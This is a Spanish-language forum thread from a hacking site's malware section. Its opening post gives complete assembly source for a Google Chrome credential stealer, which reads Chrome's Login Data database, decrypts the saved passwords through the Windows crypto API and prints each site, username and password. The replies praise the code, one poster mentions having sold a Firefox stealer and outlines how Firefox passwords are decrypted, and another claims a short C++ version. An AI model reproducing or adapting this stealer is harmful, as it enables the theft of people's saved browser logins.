Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: fary en 21 Enero 2016, 08:58 am



Título: [ASM] Stealer Google Chrome.
Publicado por: fary en 21 Enero 2016, 08:58 am
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.

(http://oi63.tinypic.com/210ceo2.jpg)

Código fuente:

Código
  1. ; Stealer Google Chrome
  2. ; Programado por Juan fary.
  3. ; Flat Assembler.
  4.  
  5. format PE Console 4.0
  6. entry start
  7. include 'win32ax.inc'
  8.  
  9. section '.data' data readable writeable
  10.        ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
  11.        query        db 'SELECT origin_url, username_value, password_value FROM logins',0
  12.  
  13.        bd           dd ?
  14.        stmt         dd ?
  15.  
  16.        URL          db 'URL: %s',10,13,0
  17.        Usuario      db 'Usuario: %s',10,13,0
  18.        PASS         db 'PASS: %s',10,13,0
  19.  
  20.        struct DATA_BLOB
  21.               cbData   dd ?
  22.               pbData   dd ?
  23.        ends
  24.  
  25.        datain      DATA_BLOB
  26.        dataout     DATA_BLOB
  27.  
  28.        buffer      rb 255
  29.  
  30.        barra       db '-----------------------------------------------------',10,13,0
  31.  
  32.        BufferRuta  rb 512
  33.        APPDATA     db 'APPDATA',0
  34.  
  35. section '.code' code readable executable
  36. start:
  37.        invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
  38.        invoke lstrcat, BufferRuta, ruta
  39.  
  40.        cinvoke sqlite3_open, BufferRuta, bd
  41.        cmp eax, 0 ; eax = SQLITE_OK
  42.        jne salir
  43.  
  44.        cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
  45.        cmp eax, 0 ; eax = SQLITE_OK
  46.        jne salir
  47.  
  48.    BuclePass:
  49.        cinvoke sqlite3_step, [stmt]
  50.        cmp eax, 100 ; eax = SQLITE_ROW
  51.        jne salir
  52.  
  53.        cinvoke printf,barra
  54.  
  55.        cinvoke sqlite3_column_text , [stmt], 0  ; URL
  56.        cinvoke printf,URL,eax
  57.  
  58.        cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
  59.        cinvoke printf,Usuario,eax
  60.  
  61.        cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña
  62.  
  63.        mov [datain.pbData], eax
  64.        mov [datain.cbData], 512
  65.  
  66.        invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
  67.  
  68.        mov ecx, -1
  69.     BucleNull:
  70.        mov edx, [dataout.pbData]
  71.        inc ecx
  72.  
  73.        cmp byte[edx+ecx],0x08
  74.        jne BucleNull
  75.  
  76.        mov byte[edx+ecx],0
  77.  
  78.        cinvoke printf, PASS, [dataout.pbData]
  79.  
  80.        cinvoke printf,barra
  81.  
  82.        jmp BuclePass
  83.  
  84.        salir:
  85.        cinvoke system,'PAUSE'
  86.        ret
  87.  
  88. section '.idata' import data readable writeable
  89.  
  90.        library  sqlite3, 'sqlite3.dll',\
  91.                 msvcrt, 'msvcrt.dll',\
  92.                 Crypt32, 'Crypt32.dll',\
  93.                 KERNEL32, 'KERNEL32.DLL'
  94.  
  95.        import sqlite3,\
  96.               sqlite3_open, 'sqlite3_open',\
  97.               sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
  98.               sqlite3_column_text, 'sqlite3_column_text',\
  99.               sqlite3_step, 'sqlite3_step'
  100.  
  101.        import msvcrt,\
  102.               printf, 'printf',\
  103.               memcpy,'memcpy',\
  104.               system, 'system'
  105.  
  106.        import Crypt32,\
  107.               CryptUnprotectData, 'CryptUnprotectData'
  108.  
  109.        import KERNEL32,\
  110.               GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
  111.               lstrcat, 'lstrcatA'

saludos.




Título: Re: [ASM] Stealer Google Chrome.
Publicado por: crack81 en 21 Enero 2016, 20:23 pm
Se ve genial gracias por el aportaso voy a darle una revisda
//saludos....


Título: Re: [ASM] Stealer Google Chrome.
Publicado por: kub0x en 24 Enero 2016, 13:35 pm
Muy sexy ;) Joder que Chrome siga utilizando la API de crypto (CryptAPI) de Win32 deja mucho que desear.

Al menos para sacar las passwords de Mozilla tienes que reversear un poquito la API de NSS, cosa trivial mientras el usuario no utilice una contraseña maestra. Básicamente la password por defecto esta cifrada en TripleDES y encodeada en B64, en signons.sqlite por si te interesa, aunque ahora no usan sqlite sino .json (creo..) pues hace unos meses vendí un code que hacía de stealer para FireFox.

Son poquitas líneas, hace tiempo que perdí el stealer de Chrome en CPP (no puedo comparar) pero nada que envidiar.

Saludos.


Título: Re: [ASM] Stealer Google Chrome.
Publicado por: Kaxperday en 25 Enero 2016, 22:28 pm
Buenas camaradas, ¿así que tenías el stealer de firefox?, enhorabuena.

Yo tengo el de chrome también para C++, no llegan a 15 líneas de código XD.

Ahora estoy un poco desconectado del tema, pero tengo pensado hacer el de FF y EDGE, pero primero tengo que aprender mejor ingeniería inversa, más allá de tenerlo o no, quiero saber hacerlo por mi mismo a través de ingeniería inversa, eso me pondría cachondo hehehe.

Un saludo, nos vemos.